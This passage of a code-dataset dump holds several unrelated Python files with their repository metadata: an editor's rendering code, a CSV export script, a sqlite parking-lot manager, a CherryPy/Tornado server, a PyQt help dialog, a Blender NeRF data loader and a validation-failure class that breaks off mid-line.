font_size=self.font_size,\n                font_weight=cairo.FONT_WEIGHT_BOLD,\n            )\n        )\n\n        self.mode_buffer_container.children.append(sc.Text(font_size=self.font_size))\n\n        for i in self.mode_indicator.children:\n            i.parent = self.mode_indicator\n        for i in self.mode_buffer_container.children:\n            i.parent = self.mode_buffer_container\n\n    def render(self, ctx) -> None:\n        \"\"\"Render the editor and its children.\"\"\"\n        # TODO: moldy code unless fixed\n\n        spacing = self.inner_spacing\n        top_left = self.get_top_left()\n\n        # Place the top info box.\n        self.top_info.position = top_left + spacing\n        self.top_info.size = np.array(\n            [\n                self.size[0] - spacing * 2,\n                self.font_size + self.text_v_spacing * 2,\n            ]\n        )\n\n        # Place the bottom info box.\n        self.mode_indicator.anchor = sc.Anchor.BOTTOM | sc.Anchor.LEFT\n        self.mode_indicator.position = (\n            top_left + [0, self.size[1]] + [spacing, -spacing]\n        )\n        self.mode_indicator.size = [\n            (self.font_size / 2 * 6) + self.text_v_spacing * 2,\n            self.top_info.size[1],\n        ]\n        self.mode_indicator.color = self.current_mode.color\n\n        self.mode_buffer_container.position = np.array(\n            [\n                self.mode_indicator.position[0] + self.mode_indicator.size[0] + spacing,\n                self.mode_indicator.position[1],\n            ]\n        )\n\n        self.mode_buffer_container.size = np.array(\n            [\n                self.size[0] - spacing - self.mode_buffer_container.position[0],\n                self.mode_indicator.size[1],\n            ]\n        )\n\n        self.mode_buffer_container.anchor = sc.Anchor.BOTTOM | sc.Anchor.LEFT\n\n        # Set the text box positions.\n        for child in self.mode_buffer_container.children:\n            child.position = (\n                child.parent.get_top_left()\n                + np.array(child.parent.size) * [0, 0.5]\n                + self.text_v_spacing\n            )\n            child.anchor = sc.Anchor.TOP | sc.Anchor.LEFT\n            child.color = sc.utils.Color.WHITE\n            child.font_size = self.font_size\n            if self.current_mode.mode == NORMAL:\n                child.text = self.normal_buffer.text\n            elif self.current_mode.mode == SHELL:\n                child.text = self.shell_buffer.text\n            else:\n                child.text = \"\"\n\n        # Set the text box positions.\n        for child in self.mode_indicator.children:\n            child.position = (\n                child.parent.get_top_left()\n                + np.array(child.parent.size) * 0.5\n                + [0, self.text_v_spacing]\n            )\n            child.anchor = sc.Anchor.TOP\n            child.font_size = self.font_size\n\n        # Place the body.\n        available_y_space = self.size[1] - (\n            self.mode_indicator.size[1] + self.top_info.size[1] + spacing * 2\n        )\n        self.body.position = (\n            top_left + [spacing, 2 * spacing] + [0, self.top_info.size[1]]\n        )\n        self.body.size = np.array(\n            [\n                self.size[0] - spacing * 2,\n                available_y_space - spacing * 2,\n            ]\n        )\n\n        self._update_body(ctx)\n\n        # Do the rendering.\n        self.top_info.render(ctx)\n        self.mode_indicator.render(ctx)\n        self.mode_buffer_container.render(ctx)\n        self.body.render(ctx)\n\n    def switch_mode(self, new_mode: ModeEnum) -> None:\n        \"\"\"Switch the current mode..\"\"\"\n        self.current_mode = MODES[new_mode]\n        self.mode_indicator.children[-1].text = self.current_mode.mode.name\n\n        if new_mode == SHELL:\n            self.active_buffer = self.shell_buffer\n        # elif new_mode == NORMAL:\n        #     self.active_buffer = self.normal_buffer\n        else:\n            self.active_buffer = self.body_buffer\n\n    def handle_input(self, key: int, name: str) -> None:\n        \"\"\"Handle user input.\"\"\"\n        current = self.current_mode.mode\n        control_held_down = sc.HELD_DOWN[\"Control_R\"] or sc.HELD_DOWN[\"Control_L\"]\n\n        # Switch back to Normal mode on escape.\n        if name == \"Escape\":\n            if current != NORMAL:\n                self.switch_mode(NORMAL)\n                return\n            self.body_buffer.remove_all_but_one_cursor()\n            return\n\n        if control_held_down:\n            if name == \"plus\":\n                self.font_size += 3\n                return\n            if name == \"minus\":\n                self.font_size -= 3\n                self.font_size = max(5, self.font_size)\n                return\n\n        if current == NORMAL:\n            self._handle_normal_mode(key, name)\n            return\n        if current in {SHELL, INSERT}:\n            self.active_buffer.send_text(key, name)\n            return\n        raise NotImplementedError()\n\n    def _handle_normal_mode(self, key: int, name: str):\n        \"\"\"Handle normal mode.\"\"\"\n        self.normal_buffer.send_text(key, name)\n        self.normal_handler.read_buffer = self.normal_buffer\n        self.normal_handler.write_buffer = self.active_buffer\n\n        if name == \"Escape\":\n            self.normal_buffer.clear()\n        elif name == \"period\":\n            self.switch_mode(SHELL)\n            self.normal_buffer.clear()\n        elif name == \"i\":\n            self.switch_mode(INSERT)\n            self.normal_buffer.clear()\n\n        return self.normal_handler.parse_command()\n\n    def _handle_shell_command(self, command: str) -> None:\n        \"\"\"Handle a shell command when it's entered.\"\"\"\n        command = command.strip()\n\n        if command == \"q\":\n            return self.kill()\n\n        self.shell_buffer.text = \"\"\n        return None\n","repo_name":"midnattssol/puffin","sub_path":"editor.py","file_name":"editor.py","file_ext":"py","file_size_in_byte":32557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"16361750249","text":"#!/usr/bin/python3\n\"\"\"\nPython script to export data in the CSV format.\n\"\"\"\nimport requests\nfrom sys import argv\n\nif __name__ == \"__main__\":\n\n    user = requests.get(\"http://jsonplaceholder.typicode.com/users/\" +\n                        argv[1]).json()\n    todos = requests.get(\"http://jsonplaceholder.typicode.com/todos?userId=\" +\n                         argv[1]).json()\n\n    userid = str(user.get(\"id\"))\n    with open(userid + \".csv\", \"w\") as csvfile:\n        username = user.get(\"username\")\n        userid = user.get(\"id\")\n        for task in todos:\n            csvfile.write('\"{}\",\"{}\",\"{}\",\"{}\"\\n'.\n                          format(userid, username, task.get(\"completed\"),\n                                 task.get(\"title\")))\n","repo_name":"LuisaPinillos/holberton-system_engineering-devops","sub_path":"0x15-api/1-export_to_CSV.py","file_name":"1-export_to_CSV.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"43696099168","text":"import datetime\nimport getpass\nimport warnings\nimport sqlite3\nimport os\nfrom tqdm.auto import tqdm\nimport numpy\nimport colorama\nfrom colorama import Back, Style\nfrom pickle import load,dump\nwarnings.filterwarnings(\"ignore\")\ncolorama.init(autoreset=True)\n\nparking_data = open(\"test.pkl\", \"rb\")\nparking_space=load(parking_data)\navail_spaces = 0\ntotal_spaces = 0\ndef picle_dump():\n\tf = open(\"test.pkl\", \"wb\")\n\tdump(parking_space, f)\n\t\ndef view_buildings():\n\tfor i in range(len(parking_space)):\n\t\tprint(f\"--------\",end=\" \")\n\tprint()\n\tfor i in range(len(parking_space)):\n\t\tprint(f\"| Bno  |\",end=\" \")\n\tprint()\n\tfor i in range(len(parking_space)):\n\t\tprint(f\"|  {i}   |\",end=\" \")\n\tprint()\n\tfor i in range(len(parking_space)):\n\t\tprint(f\"--------\",end=\" \")\n\tprint()\n\tfor i in range(len(parking_space)):\n\t\tprint(f\"floors {len(parking_space[i])}\",end=\" \")\n\tprint()\n\ndef view_floors(building_no):\n\tprint(f\"------------\")\n\tfor i in reversed(range(len(parking_space[building_no]))):\n\t\tprint(f\"|floor no {i}|\")\n\t\tprint(f\"------------\")\n\ndef view_slots(building_no,floor_no,row=\"@\",column=\"@\"):\n\tprint()\n\trcount=0\n\tfor rows in parking_space[building_no][floor_no]:\n\t\tprint(f\"{rcount}| \",end=\" \")\n\t\t\n\t\tcount=0\n\t\tfor slot in rows:\n\t\t\tif(row==rcount and column==count):\n\t\t\t\tprint(Back.RED+f\"[{count}]\",end=\" \")\n\t\t\t\tprint(\" \",end=\" \")\n\t\t\t\tcount=count+1\n\t\t\telif(slot==1 ):\n\t\t\t\tprint(Back.MAGENTA+f\"[{count}]\",end=\" \")\n\t\t\t\tprint(\" \",end=\" \")\n\t\t\t\tcount=count+1\n\t\t\telse:\n\t\t\t\tprint(f\"[{count}]\",end=\" \")\n\t\t\t\tprint(\" \",end=\" \")\n\t\t\t\tcount=count+1\n\t\tprint(\"|\")\n\t\trcount=rcount+1\n\tprint()\t\n\n\n\t# for i in parking_space[building_no][floor_no]:\n\t# \tif(row!='@'  and i==parking_space[building_no][floor_no][row]):\n\t# \t\tprint('[',end=\" \")\n\t# \t\tfor col in range(len(i)):\n\t# \t\t\tif(col==column):\n\t# \t\t\t\tprint(Back.WHITE+\"1\" ,end=\" \")\n\t# \t\t\telse:\n\t# \t\t\t\tprint(parking_space[building_no][floor_no][row][col],end=\" \")\n\t# \t\t\t\tprint(\",\" ,end=\" \")\n\t# \t\tprint(' ]')\t\n\t# \tprint(i)\n\t# print()\t\n\n# def change_parking_space():\n# \tprint(Back.CYAN + \"+------------------------------+\")\n# \tprint(Back.CYAN + \"|  1- Add Parking Space        |\")\n# \tprint(Back.CYAN + \"|  2- Remove Parking space     |\")\n# \tprint(Back.CYAN + \"|  3- Previous Menu            |\")\n# \tprint(Back.CYAN + \"+------------------------------+\")\n# \tuser_input = input(\"-> \")\n# \tif user_input == '1':\n# \t\tprint(Back.CYAN + \"+------------------------------+\")\n# \t\tprint(Back.CYAN + \"|  1- Add Building             |\")\n# \t\tprint(Back.CYAN + \"|  2- Add floor in building    |\")\n# \t\tprint(Back.CYAN + \"|  3- Add Slot in building     |\")\n# \t\tprint(Back.CYAN + \"|  4- Previous Menu            |\")\n# \t\tprint(Back.CYAN + \"+------------------------------+\")\n# \t\tuser_input2 = input(\"-> \")\n# \t\tif user_input2 == '1':\n# \t\t\tglobal parking_space\n# \t\t\tparking_space.append([[]])\n# \t\t\tpicle_dump()\n# \t\telif user_input2 == '2':\n# \t\t\tfor i in range(len(parking_space)):\n# \t\t\t\tprint(f\"Building no {i}\")\n# \t\t\tprint(Back.YELLOW +  '   Please Enter Building no :   ')\n# \t\t\tuser_input3 = int(input(\"-> \"))\n# \t\t\tparking_space[user_input3].append([])\n# \t\t\tpicle_dump()\n# \t\telif user_input2 == '3':\n# \t\t\tfor i in range(len(parking_space)):\n# \t\t\t\tprint(f\"Building no {i}\")\n# \t\t\tprint(Back.YELLOW +  '   Please Enter Building no :   ')\n# \t\t\tbuilding_no = int(input(\"-> \"))\n# \t\t\tfor i in range(len(parking_space[building_no-1])):\n# \t\t\t\tprint(f\"floor no {i}\")\n# \t\t\tprint(Back.YELLOW +  '   Please Enter floor no :   ')\n# \t\t\tfloor_no = int(input(\"-> \"))\n# \t\t\tprint(Back.YELLOW +  '   Please Enter no of rows :    ')\n# \t\t\tno_of_rows = int(input(\"-> \"))\n# \t\t\tprint(Back.YELLOW +  '   Please Enter no of columns : ')\n# \t\t\tno_of_columns = int(input(\"-> \"))\n# \t\t\texisting_slot=len(parking_space[building_no][floor_no])\n# \t\t\tfor i in range( no_of_rows):\n# \t\t\t\tparking_space[building_no][floor_no].append([])\n# \t\t\t\tfor j in range(no_of_columns):\n# \t\t\t\t\tparking_space[building_no][floor_no][i+existing_slot].append(0)\n# \t\t\tpicle_dump()\n# \t\telif user_input2 == '4':\n# \t\t\tchange_parking_space()\n# \t\telse :\n# \t\t\tprint(Back.RED+\"    Please enter valid input    \")\n# \t\t\tchange_parking_space()\n\t\t\n# \telif user_input == '2':\n# \t\tpass\n# \telif user_input == '3':\n# \t\tpass\n# \telse:\n# \t\tprint(Back.RED+\"    Please enter valid input    \")\n# \t\tchange_parking_space()\n\ndef display_parking():\n\tview_buildings()\n\tprint(Back.YELLOW +  '   Please Enter Building no :   ')\n\tbuilding_no = int(input(\"-> \"))\n\tview_floors(building_no)\n\tprint(Back.YELLOW +  '   Please Enter floor no :   ')\n\tfloor_no = int(input(\"-> \"))\n\tview_slots(building_no,floor_no)\n\treturn(building_no,floor_no)\t\n\n\ndef do_booking(V_no,V_type,building_no,floor_no,row,column):\n\tconn = sqlite3.connect('Database.db')\n\tc = conn.cursor()\n\tc.execute(\"CREATE TABLE IF NOT EXISTS Booking(vehicle_no TEXT,slot_type TEXT, building integer, floor integer,row integer,column integer,park_in_time TIMESTAMP NOT NULL)\")\n\tc = conn.cursor()\n\tc.execute(\"INSERT INTO Booking(vehicle_no,slot_type , building , floor ,row ,column ,park_in_time  ) VALUES (?,?,?,?,?,?,?)\", (V_no,V_type,building_no,floor_no,row,column,datetime.datetime.now()))\n\tconn.commit()\n\tconn.close()\n\tprint(Back.GREEN + \"Booking Done\")\n\n\n# def park_vehicle():\n# \tconn = sqlite3.connect('Database.db')\n# \tc = conn.cursor()\n# \tc.execute(\"ALTER TABLE Booking RENAME COLUMN slot_type TO vehicle_type;\")\n# \tconn.commit()\n# \tconn.close()\n# \t(building_no,floor_no)=display_parking()\n# \tprint(Back.YELLOW +  '   Please Enter row you want to select    : ')\n# \trow = int(input(\"-> \"))\n# \tprint(Back.YELLOW +  '   Please Enter column you want to select : ')\n# \tcolumn = int(input(\"-> \"))\n# \tif(parking_space[building_no][floor_no][row][column]==1):\n# \t\tprint(Back.Red + \"Slot already booked \")\n# \t\tpark_vehicle()\n# \tview_slots(building_no,floor_no,row,column)\n# \tV_no=   str(input(\"Please Enter Vehicle no            -> \"))\n# \tV_no=V_no.upper()\n# \tc.execute(\"Select count(*) From Vehicle WHERE vehicle_no=(?)\",(V_no,))\n# \tcount = c.fetchall()\n\n# \tif(count[0][0]==0):\n# \t\tprint(Back.CYAN + \"+------------------------+\")\n# \t\tprint(Back.CYAN + \"|  1- Car (LMV)          |\")\n# \t\tprint(Back.CYAN + \"|  2- Truck (HMV)        |\")\n# \t\tprint(Back.CYAN + \"|  3- Bike (MC)          |\")\n# \t\tprint(Back.CYAN + \"+------------------------+\")\n# \t\tV_type_option=0\n# \t\twhile (V_type_option!='1' and  V_type_option!='2' and V_type_option!='3'):\n# \t\t\tV_type_option=input(\"Please Select Vehicle type         -> \")\n# \t\tif(V_type_option=='1'):\n# \t\t\tV_type=\"LMV\"\n# \t\tif(V_type_option=='2'):\n# \t\t\tV_type=\"HMV\"\n# \t\tif(V_type_option=='3'):\n# \t\t\tV_type=\"MC\"\n# \t\tV_owner=str(input(\"Please Enter Vehicle owner         -> \"))\n# \t\tV_colour=   input(\"Please enter Vehicle colour        -> \")\n# \t\tV_brand=    input(\"Please enter Vehical brand         -> \")\n# \t\tprint(Back.YELLOW + \"Please Verify the Information\")\n# \t\tprint(\"Vehicle no       = \"+ V_no)\n# \t\tprint(\"Vehicle type     = \"+ V_type)\n# \t\tprint(\"Vehicle owner    = \"+ V_owner)\n# \t\tprint(\"Vehicle colour   = \"+ V_colour)\n# \t\tprint(\"Vehical brand    = \"+ V_brand)\n# \t\tinput(\"Press Enter to continue or CTRL+C to Break Operation\")\n# \t\tc = conn.cursor()\n# \t\tc.execute(\"INSERT INTO Vehicle(vehicle_no,vehicle_type , vehicle_owner, vehicle_colour ,vehicle_brand,vehicle_parked) VALUES (?,?,?,?,?,?)\", (V_no.upper(),V_type.upper(),V_owner,V_colour,V_brand,\"P\"))\n# \t\tconn.commit()\n# \t\tconn.close()\n# \t\tprint(Back.GREEN + \"Vehicle information stored\")\n\t\n# \tif(count[0][0]!=0):\n# \t\tprint(Back.GREEN + \"Vehicle Already stored\")\n# \t\tc.execute(\"Select vehicle_parked From Vehicle WHERE vehicle_no=(?)\",(V_no,))\n# \t\tparked = c.fetchall()[0][0]\n# \t\tif(parked==\"P\"):\n# \t\t\tprint(Back.RED + \"Vehicle Already Parked \")\n# \t\t\tpark_vehicle()\n# \t\tc.execute(\"UPDATE Vehicle SET vehicle_parked = (?) WHERE vehicle_no=(?) \",(\"P\",V_no))\n# \t\tc.execute(\"Select vehicle_type From Vehicle WHERE vehicle_no=(?)\",(V_no,))\n# \t\tV_type=c.fetchall()\n# \t\tV_type=V_type[0][0]\n# \t\tconn.commit()\n# \t\tconn.close()\n# \tdo_booking(V_no,V_type,building_no,floor_no,row,column)\n# \tparking_space[building_no][floor_no][row][column]=1\t\n# \tpicle_dump()\n\t\n\n# display_parking()\ndef vehicle_charges():\n\tpass\n\ndef unpark_vehicle():\n\tconn = sqlite3.connect('Database.db')\n\tc = conn.cursor()\n\tc.execute(\"CREATE TABLE IF NOT EXISTS Billing(vehicle_no TEXT,vehicle_type TEXT, park_in_time TIMESTAMP NOT NULL, park_out_time TIMESTAMP NOT NULL,charges INTEGER)\")\n\tconn.commit()\n\tprint(Back.YELLOW + \"Enter Vehicle no of Vehicle u want to Unpark\")\n\tV_no=input(\"-> \")\n\tV_no=V_no.upper()\n\tconn = sqlite3.connect('Database.db')\n\tc = conn.cursor()\n\tc.execute(\"Select building,floor,row,column,vehicle_type,park_in_time FROM Booking WHERE vehicle_no=(?) \",(V_no,))\n\tvehicle_details=c.fetchall()\n\tif(len(vehicle_details)==0):\n\t\tprint(Back.RED + \"Enter Correct Vehicle no  \")\n\t\texit()\n\tvehicle_details=vehicle_details[0]\n\tbuilding_no=vehicle_details[0]\n\tfloor_no=vehicle_details[1]\n\trow=vehicle_details[2]\n\tcolumn=vehicle_details[3]\n\tv_type=vehicle_details[4]\n\tpark_in_time=vehicle_details[5]\n\tprint(Back.GREEN + f\"Your Vechile is Located at Floor no {vehicle_details[1]} of Buildin no {vehicle_details[0]} at Red location (row {vehicle_details[2]} and column {vehicle_details[3]})\")\n\tview_slots(building_no,floor_no,row,column)\n\tparking_space[building_no][floor_no][row][column]=0\n\tprint(Back.GREEN +\"Vechile unparked \")\n\tprint(Back.YELLOW +\"Calculating Vechile Charges \")\n\tcharges=vehicle_charges(V_no)\n\tprint(Back.GREEN +f\"Charges for vehicle no {V_no} are {charges}$\")\n\tinput(\"Press Enter if payment Recived\")\n\tc.execute(\"INSERT INTO Billing(vehicle_no,vehicle_type , park_in_time , park_out_time ) VALUES (?,?,?,?)\", (V_no,v_type,park_in_time,datetime.datetime.now(),charges))\n\tconn.commit()\n\t\n\tc.execute(\"DELETE FROM Booking WHERE vehicle_no=(?) \",(V_no,))\n\tconn.commit()\n\tc.execute(\"UPDATE Vehicle SET vehicle_parked = (?) WHERE vehicle_no=(?) \",(\"UP\",V_no,))\n\tconn.commit()\n\tconn.close()\n\tpicle_dump()\n\ndef vehicle_charges(V_no):\n\tconn = sqlite3.connect('Database.db')\n\tc = conn.cursor()\n\tc.execute(\"Select vehicle_type,park_in_time FROM Booking WHERE vehicle_no=(?) \",(V_no,))\n\tvehicle_details=c.fetchall()\n\tif(len(vehicle_details)==0):\n\t\tprint(Back.RED + \"Enter Correct Vehicle no  \")\n\t\texit()\n\tvehicle_details=vehicle_details[0]\n\tv_type=vehicle_details[0]\n\tpark_in_time=vehicle_details[1]\n\tduration=-datetime.datetime.now()-datetime.datetime.strptime(park_in_time,'%Y-%m-%d %H:%M:%S.%f')\n\tduration=divmod(duration.total_seconds(),3600)[0]\n\tif(v_type==\"LMV\"):\n\t\tif(duration<2):\n\t\t\treturn 20\n\t\telif(duration<12):\n\t\t\treturn 40\n\t\telse:\n\t\t\treturn 100\n\telif(v_type==\"HMV\"):\n\t\tif(duration<2):\n\t\t\treturn 50\n\t\telif(duration<12):\n\t\t\treturn 150\n\t\telse:\n\t\t\treturn 500\n\telif(v_type==\"MC\"):\n\t\tif(duration<2):\n\t\t\treturn 10\n\t\telif(duration<12):\n\t\t\treturn 30\n\t\telse:\n\t\t\treturn 70\n\n\n# vehicle_charges(\"MP07FL7890\")\n\n# unpark_vehicle()\n\nfor building in parking_space:\n\tfor floor in building:\n\t\tfor slot in floor:\n\t\t\tprint(slot)\n\t\tprint(\"\\n\")\n\tprint(\"\\n\\n\")","repo_name":"heyitSamarth/Python","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":10875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"852251373","text":"import json\nimport os\n\nimport cherrypy\n\nfrom main import Manager\n\n\nclass Server(object):\n    def __init__(self):\n        self.manager = Manager()\n\n    @cherrypy.expose()\n    def index(self):\n        with open(\"static/index.html\", \"r\") as f:\n            content = f.read()\n        return content\n\n    @cherrypy.expose()\n    def filter(self, searchstr=\"\", page_size=10, page_number=1):\n        return json.dumps(self.manager.filter_results(searchstr, page_number=page_number, page_size=page_size))\n\n\nif __name__ == \"__main__\":\n    import tornado\n    import tornado.httpserver\n    import tornado.wsgi\n\n    conf = {\n        '/static': {\n            'tools.staticdir.on': True,\n            'tools.staticdir.dir': os.getcwd() + '/static'\n        }\n    }\n\n    # our WSGI application\n    wsgiapp = cherrypy.tree.mount(Server(), config=conf)\n\n    # Disable the autoreload which won't play well\n    cherrypy.config.update({'engine.autoreload.on': False})\n\n    # let's not start the CherryPy HTTP server\n    cherrypy.server.unsubscribe()\n\n    # use CherryPy's signal handling\n    cherrypy.engine.signals.subscribe()\n\n    # Prevent CherryPy logs to be propagated\n    # to the Tornado logger\n    cherrypy.log.error_log.propagate = False\n\n    # Run the engine but don't block on it\n    cherrypy.engine.start()\n\n    # Run thr tornado stack\n    container = tornado.wsgi.WSGIContainer(wsgiapp)\n    http_server = tornado.httpserver.HTTPServer(container)\n    http_server.listen(os.environ.get(\"PORT\", 8080))\n    # Publish to the CherryPy engine as if\n    # we were using its mainloop\n    tornado.ioloop.PeriodicCallback(lambda: cherrypy.engine.publish('main'), 100).start()\n    tornado.ioloop.IOLoop.instance().start()","repo_name":"gekco/bse_bhavcopy","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"381415290","text":"import sys\n\nfrom PyQt6 import QtCore, QtGui, QtWidgets\n\n\nclass HelpMessageBox(QtWidgets.QDialog):\n    def __init__(self):\n        super().__init__()\n        self.setObjectName(\"helpMessageBox\")\n        self.setWindowTitle(\"Ajuda\")\n        self.setWindowIcon(QtGui.QIcon(\"./resources/help-icon1.png\"))\n        self.setWindowModality(QtCore.Qt.WindowModality.ApplicationModal)\n        QBtn = QtWidgets.QDialogButtonBox.StandardButton.Ok\n        self.buttonBox = QtWidgets.QDialogButtonBox(QBtn)\n        self.buttonBox.accepted.connect(self.accept)\n        self.layout1 = QtWidgets.QVBoxLayout()\n        self.layout1.setSpacing(9)\n        self.layout1.setContentsMargins(16, 16, 16, 0)\n        self.setLayout(self.layout1)\n        self.setFixedWidth(350)\n        self.setWindowFlags(QtCore.Qt.WindowType.MSWindowsFixedSizeDialogHint)\n\n    def setMessage(self, str: str):\n        labels = str.split(\"\\n\")\n        for label in labels:\n            l = QtWidgets.QLabel()\n            l.setWordWrap(True)\n            l.setAlignment(\n                QtCore.Qt.AlignmentFlag.AlignJustify\n                | QtCore.Qt.AlignmentFlag.AlignVCenter\n            )\n            l.setSizePolicy(\n                QtWidgets.QSizePolicy.Policy.Preferred,\n                QtWidgets.QSizePolicy.Policy.Maximum,\n            )\n            l.setText('<p style=\"text-indent:20px;line-height:20px;\">' + label + \"</p>\")\n            self.layout1.addWidget(l)\n        self.layout1.addWidget(self.buttonBox)\n        spacerItem = QtWidgets.QSpacerItem(\n            40,\n            20,\n            QtWidgets.QSizePolicy.Policy.Expanding,\n            QtWidgets.QSizePolicy.Policy.Minimum,\n        )\n        self.layout1.addItem(spacerItem)\n        if self.layout1.count() > 3:\n            self.setFixedHeight(\n                self.sizeHint().height() - 200\n                if self.sizeHint().height() > 200\n                else self.sizeHint().height() - 120\n            )\n        else:\n            self.setFixedHeight(self.sizeHint().height() - 80)\n\n\nif __name__ == \"__main__\":\n    app = QtWidgets.QApplication(sys.argv)\n    style = open(\"resources/styles.qss\").read()\n    app.setStyleSheet(style)\n    msg = HelpMessageBox()\n    msg.setMessage(\"\"\"\"\"\")\n    msg.exec()\n    app.exec(sys.exit())\n","repo_name":"rstrack/SisOSMP","sub_path":"ui/helpMessageBox.py","file_name":"helpMessageBox.py","file_ext":"py","file_size_in_byte":2256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"30429027241","text":"# implemented refer to InfoNeRF/dataset/load_blender.py\nimport os, json, imageio\nimport numpy as np\nimport jittor as jt\n\ndef pose_spherical(_theta, _phi, radius):\n    phi = _phi / 180. * np.pi\n    theta = _theta / 180. * np.pi\n    translate = jt.array(np.array([\n        [1, 0, 0, 0],\n        [0, 1, 0, 0],\n        [0, 0, 1, radius],\n        [0, 0, 0, 1]]).astype(np.float32))\n    rotate_phi = jt.array(np.array([\n        [1, 0,           0,            0],\n        [0, np.cos(phi), -np.sin(phi), 0],\n        [0, np.sin(phi), np.cos(phi),  0],\n        [0, 0,           0,            1]]).astype(np.float32))\n    rotate_theta = jt.array(np.array([\n        [np.cos(theta), 0, -np.sin(theta), 0],\n        [0,             1, 0,              0],\n        [np.sin(theta), 0, np.cos(theta),  0],\n        [0,             0, 0,              1]]).astype(np.float32))\n    c2w = translate\n    c2w = rotate_phi @ c2w\n    c2w = rotate_theta @ c2w\n    c2w = jt.array(np.array([[-1,0,0,0],[0,0,1,0],[0,1,0,0],[0,0,0,1]])) @ c2w\n    return c2w\n\n\ndef load_blender_data(dataset_path):\n    imgs_list = []\n    poses_list = []\n    counts = [0]\n    for split in ['train', 'val', 'test']:\n        imgs = []\n        poses = []\n        # print(os.path.join(dataset_path, 'transforms_{}.json'.format(split))\n        with open(os.path.join(dataset_path, 'transforms_{}.json'.format(split)), 'r') as f:\n            data = json.load(f)\n            if split == 'train':\n                skip = 1\n            else:\n                skip = 8 # load 1/8 images from test/val sets\n            for frame in data['frames'][::skip]:\n                imgs.append(imageio.imread(os.path.join(dataset_path, frame['file_path'] + '.png')))\n                poses.append(np.array(frame['transform_matrix']))\n            imgs = (np.array(imgs) / 255.).astype(np.float32)\n            imgs_list.append(imgs)\n            poses = np.array(poses).astype(np.float32)\n            poses_list.append(poses)\n\n            counts.append(counts[-1] + len(imgs)) # for splitting train/val/test\n    \n    i_split = [np.arange(counts[i], counts[i+1]) for i in range(3)]\n    \n    imgs = np.concatenate(imgs_list, 0)\n    poses = np.concatenate(poses_list, 0)\n    \n    H, W = imgs[0].shape[:2]\n    camera_angle_x = float(data['camera_angle_x'])\n    focal = .5 * W / np.tan(.5 * camera_angle_x)\n    \n    render_poses = jt.stack([pose_spherical(angle, -30.0, 4.0) for angle in np.linspace(-180, 180, 40+1)[:-1]], 0)\n        \n    return imgs, poses, render_poses, [H, W, focal], i_split\n\n","repo_name":"why986/InfoNeRF","sub_path":"src/load_blender.py","file_name":"load_blender.py","file_ext":"py","file_size_in_byte":2514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70848146250","text":"\"\"\"\n    Validation failure tracking functionality.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport sys\nimport typing\nfrom typing import Any, Callable, Optional\n\ndef _indent(msg: str) -> str:\n    \"\"\" Indent a block of text (possibly with newlines) \"\"\"\n    ind = \" \"*2\n    return ind+msg.replace(\"\\n\", \"\\n\"+ind)\n\n_Acc = typing.TypeVar(\"_Acc\")\n\nclass ValidationFailure:\n    \"\"\"\n        Simple container class for validation failures.\n    \"\"\"\n\n    _val: Any\n    _t: Any\n    _causes: typing.Tuple[\"ValidationFailure\", ...]\n    _is_union: bool\n\n    def __new__(cls,\n                val: Any, t: Any,\n                *causes: \"ValidationFailure\",\n                is_union: bool = False) -> \"ValidationFailure\":\n        instance: ValidationFailure = super().__new__(cls)\n        instance._val = val\n        instance._t = t\n        instance._causes = causes\n        instance._is_union = is_union\n        if is_union:\n            assert all(cause.val == val for cause in causes)\n        return instance\n\n    @property\n    def val(self) -> Any:\n        \"\"\" The value involved in the validation failure. \"\"\"\n        return self._val\n\n    @property\n    def t(self) -> Any:\n        \"\"\" The type involved in the validation failure. \"\"\"\n        return self._t\n\n    @property\n    def causes(self) -> typing.Tuple[\"ValidationFailure\", ...]:\n        r\"\"\"\n            Validation failure that in turn caused this failure (if any).\n\n            :rtype: :obj:`~typing.Tyuple`\\ [:class:`ValidationFailure`, ...]\n        \"\"\"\n        return self._causes\n\n    @property\n    def is_union(self) -> bool:\n        \"\"\" Whether this validation failure concerns a union type. \"\"\"\n        return self._is_union\n\n    def visit(self, fun: Callable[[Any, Any, _Acc], _Acc], acc: _Acc) -> None:\n        r\"\"\"\n            Performs a pre-order visit of the validation failure tree:\n\n            1. applies ``fun(self.val, self.t, acc)`` to the failure,\n            2. saves the return value as ``new_acc``\n            3. recurses on all causes using ``new_acc``.\n\n            Example usage to pretty-print the validation failure tree using `rich <https://github.com/willmcgugan/rich>`_:\n\n            >>> import rich\n            >>> from typing import Union, Collection\n            >>> from typing_validation import validate, latest_validation_failure\n            >>> validate([[0, 1, 2], {\"hi\": 0}], list[Union[Collection[int], dict[str, str]]])\n            TypeError: ...\n            >>> failure_tree = rich.tree.Tree(\"Failure tree\")\n            >>> def tree_builder(val, t, tree_tip) -> None:\n            ...     label = rich.text.Text(f\"({repr(t)}, {repr(val)})\")\n            ...     return tree_tip.add(label) # see https://rich.readthedocs.io/en/latest/tree.html\n            ...\n            >>> latest_validation_failure().visit(tree_builder, failure_tree)\n            >>> rich.print(failure_tree)\n            Failure tree\n            └── (list[typing.Union[typing.Collection[int], dict[str, str]]], [[0, 1, 2], {'hi': 0}])\n                └── (typing.Union[typing.Collection[int], dict[str, str]], {'hi': 0})\n                    ├── (typing.Collection[int], {'hi': 0})\n                    │   └── (<class 'int'>, 'hi')\n                    └── (dict[str, str], {'hi': 0})\n                        └── (<class 'str'>, 0)\n\n\n            :param fun: the function that will be called on each element of the failure tree during the visit\n            :type fun: :obj:`~typing.Callable`\\ [[:obj:`~typing.Any`, :obj:`~typing.Any`, ``Acc``], ``Acc``]\n            :param acc: the initial value for the accumulator\n            :type acc: any type ``Acc``\n        \"\"\"\n        new_acc = fun(self.val, self.t, acc)\n        for cause in self.causes:\n            cause.visit(fun, new_acc)\n\n    def __str__(self) -> str:\n        msg = f\"For type {repr(self.t)}, invalid value: {repr(self.val)}\"\n        if 